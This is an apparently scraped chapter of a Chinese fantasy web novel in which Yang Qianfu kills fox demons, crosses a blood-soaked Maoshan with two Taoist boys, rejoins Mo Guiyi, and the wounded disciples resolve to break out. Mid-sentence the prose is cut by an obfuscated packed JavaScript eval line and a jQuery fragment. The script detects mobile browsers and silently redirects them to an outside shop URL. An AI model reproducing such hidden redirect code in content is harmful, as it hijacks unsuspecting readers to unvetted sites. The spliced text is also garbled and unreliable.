房中一片寂静,无人出声。
两个道童已经被吓傻了,他们看着杨千福像鬼一样从床底爬出,把手里的狐鬼尸体随手一丢,朝着他们走来。
死去的狐鬼褪去伪装出的表象,变回了一只嘴角带血的紫毛狐狸。同时这只狐鬼身上散发出一阵黑气,黑气流逝的越多它的尸体就越干瘪,最后变成一团像是碳块一样的东西。
被定身的狐鬼眼睁睁看着同伴被杀死,眼中却只有恐惧没有悲愤。
这就是妖怪的孽根性。世上有愿意和人和平相处的妖怪,也会有害人的妖怪,但不论前者后者,他们却都是不通人性的。
杨千福直直走到最后一只狐鬼面前,把他掐着人的指头一根一根扳开。两个道童见后面的妖怪毫无还手之力,这才连滚带爬的躲在杨千福身后。
等缓过来了些,小甲和小乙便直奔向床边,一人一脚泄愤似的踢在地上那团尸体上。
“小丙……”
两个年岁还不算大的少年放声哭泣,同伴的死太突然,他们在难过之余更恐惧自己会不会变成下一个小丙。
杨千福看着他们报复的行为不知想到了什么,眼神越来越黯淡。
忽然,他转身对眼前的狐鬼释放出了全部威压:“知道我为什么没杀你吗?”
狐鬼只感觉自己好像被一座山压住了一样,喉咙发不出一点声音。他颤颤巍巍的动了动舌根,从嗓子眼里艰难的挤出声音:“我,什么都,说,别杀……”
杨千福稍稍收势,狐鬼的声音终于连贯了些:“都是那个斗篷人指使我们来的茅山,他说谁立功最多这座山头就归谁!还有,他不是人,他是……”
还没说完,狐鬼的嗓子突然被一只无形的手死死攥住,他眼睛外凸却发不出声,只能指望着这个人类会为了没说出口的后半段话救自己一命。
但杨千福却没有动手,只是冷漠地看着狐鬼的脑袋转了整整一圈,随后像是他亲手杀掉的那只一样倒在地上化为黑炭。
杨千福不会同情害人的妖怪,他闻得出这些狐鬼身上沾着人味。
他警惕的感应了一下,确定这屋子周围没有藏人才松了口气。还好不是幕后主使亲自动的手,应该是狐鬼在不知情的情况下被下了言灵禁制。
虽说之前超度那只三尾的消耗还在承受范围之中,但杨千福自知状态已经不如之前,要是现在就要和斗篷怪对上他真不一定有胜算。
棘手的是刚才许老真人留的屏障阵法被破了,且不知道这些狐鬼有没有暗中唤来同伙。
这个地方是待不下去了。
床边的两个道童撒够了气,皆六神无主的立在原地,无助的盯着杨千福。
杨千福无奈道:“你们跟我一起走,遇见什么事听我指挥,不要多生事端。”
小甲和小乙连连点头,在房中翻出两把灯笼点上后便紧跟着杨千福走出屋子,走入了山林间的茫茫大雾中。
阴沉的天色下雾气伸手不见五指,即便打着灯笼也很难看清前路。林间寂静无声,连夏夜常见的虫鸣声都听不见。
小甲和小乙老实的缩在杨千福后头,全然不敢露出之前耀武扬威的模样。
走了一会,小甲忍不住问道:“我们现在是在往哪走啊?”
“不知道。”杨千福实话实说。
小甲忍了又忍,才将质疑对方的念头压在心底。
这个什么掌门到底靠不靠谱?
杨千福的确不知道他们的目的地在哪,此时他正沿着一条只在他眼中出现的断断续续的金线前进。
过了这么久莫归一还没回来找他,恐怕是被麻烦事绊住了脚。只要他们的距离没有超出这座山的范围,杨千福就能闻着味主动找过去。
但这条金线越是清晰,迷雾中的血腥气味就越是浓烈。
忽然,杨千福踩到了什么湿哒哒的东西,低头一看发现是一只染着血的断肢。
他倒吸一口凉气,用尽全身定力才没在后辈面前惨叫出声。
小甲和小乙不解他为什么突然停下脚步,便也探头看了一眼,这一眼后三个人都默不作声了,只捂着嘴快步往前走。
前面石板路上的血迹只多不少,不止人的残肢,还有一些奇形怪状的鬼怪尸体。有些死状凄惨,有些一剑封喉,在不久之前此处应当有过一场恶战。
再往前走了几步,他们忽然看见前面站着个撑着剑的人影,看打扮似乎是茅山的师兄。
小甲拉着小乙激动的跑过去:“大师兄你怎么……啊!”
杨千福来不及拦住他们,就听见小甲发出一声惊恐的叫声。
这个师兄小甲是认得的,但此时师兄睁着眼面如死灰,已经化为了一具尸体。
他的身后再没有一具妖怪尸体,不远处就是密林的尽头,顶宫巍峨的红墙在雾气中若隐若现,红墙下有一扇紧闭的木门。
恐怕这位道长身死道消就是为了守住这扇门。
杨千福心中沉痛,行了一礼后绕过这位道长,往金线指向的方向走去。
甲乙两个道童来不及悲痛,忙不迭跟上杨千福的脚步,但就在快到门口时却看见大门主动朝两边打开。
一柄闪着寒光的利剑从门缝刺出,划破了杨千福眼前一片茫茫雾气。
杨千福没有动,他淡定的看那三锋剑刃擦过他的发梢,刺中了他身后的什么东西。
不知何时一只倒吊在树梢上的精怪悄然接近了杨千福,却在即将动手时被一剑封喉,直截了当的断了气。
“……小善?”
握着剑的人手微微一抖,剑上串着的妖怪瞬间灰飞烟灭。
眉心点痣衣摆染血,夹杂着几缕白发的青丝有些凌乱不堪……但那双眉目中依旧只有杨千福的身影。
莫归一错愕道:“怎么是你?”
真是半日不见犹如隔世。
亲眼确认了对方无恙,杨千福也松了口气:“你不回来,我只好来找你了。”
“你不知道外面有多危险吗,为什么不听真人的话待在屏障里?”莫归一扳着杨千福的肩膀翻来覆去的打量,看对方身上没伤才放下心来。
杨千福尴尬的目移:“这就说来话长了……”
“这里不是说话的地方,你们先进来。”
他拉着杨千福退回门中,后面跟着的两个道童面面相觑,也跟着进了门。
门内没有外面的雾气,应当是布了防御的屏障,走了一会他们回到了大殿前。
昔日井井有条的顶宫如今遍
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17581770|202570||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
地血污,昏暗的灯笼下显得很是萧条。
广场上聚集了不少伤员,有些是没来得及下山的香客,但更多的还是与药妖物搏斗时受了伤的茅山弟子。
来到这里后小甲和小乙终于不用跟着杨千福,便自发的去给穿行在伤员中的道医打下手帮忙。
屋檐下只剩下他们二人,莫归一便简单讲了讲他走之后的情况。
他赶到大殿时妖潮已经爆发,伪装成弟子的妖物在天黑后露出了爪牙,源源不断的妖物被传送而来潜伏在山林各处。
茅山的护山阵被做了手脚,如今外面鸿义军的援军进不来,里面的人又出不去。于是莫归一留在此处与茅山的弟子一同抵御妖潮,直到此时才开辟出这么一个临时阵地。
“之前真人途径过此处朝后山去了,发生了什么?”莫归一当时只顾得上问杨千福的情况了,对那边发生了什么却不太清楚。
杨千福隐去了那三只狐鬼的事,大约把事情的经过和自己的猜测讲了一遍:“……他们不只是针对我们,从一开始茅山就在他们的算计之内了。”
抬头看去,上空弥漫着雾气,云雾之上是一轮朦胧的圆月。
居然已经到了仙人洞禁制解除的时候……
看着大殿前的伤员,莫归一无法丢下这些人一走了之。他心知自己走后这里的屏障撑不了太久,可若是一直固守在此处他们早晚会弹尽粮绝。
不从根源解决问题,这场浩劫不会结束。
就在莫归一沉思时,杨千福忽然凑近他眼前面色不善道:“你是不是又想一个人承担所有问题?”
莫归一垂着眼道:“我知道我救不了所有人,但是没有更好的办法了。我离开这里去后山的话,屏障消退,一个时辰内这个阵地就会沦陷。但如果我留在这里,许老真人失手我们孤立无援,坚守几天后大家还是会死在这。”
他抬眼看向杨千福:“这次你来替我决定,是走还是留?”
“你不该让我决定,你应该让大家一起决定。”
杨千福看向躲在旁边花坛后偷听的道童看去:“刚才都听清了?”
小甲带着小乙走了出来,眼中有对妖物的仇恨:“既然这里留不住了,我愿意和莫师兄杀出去。”
他的嗓门很大,不远处有几名伤员听见了,一传十十传百,很快整个阵地都知道了他们方才讲了什么。
随后就是一阵窃窃私语,莫归一和杨千福站在大殿前的阶梯上,过了一会还有行动能力的伤员都撑着兵器站起身,聚集到他们面前。
“我们茅山派没有苟且偷生之辈。”为首的一位道长倨傲道:“如今的情况掌门早就与我们提醒过,我们也早就做好了和师门同进退的觉悟。”
杨千福往台阶下走了几步,与那位道长平视道:“你们意下如何?”
道长看向一旁的小甲:“我同这位师弟想的一样,若是知道幕后主使在何处,我们愿与二位一同杀出一条血路。”
聚过来的人皆眼神坚毅,没有一人反驳。
杨千福点了点头,回头对莫归一道:“听见了吗?还把自己架在那么高的地方干嘛?”
莫归一一愣,这才后知后觉的走下台阶。
“如此,那便出发吧。”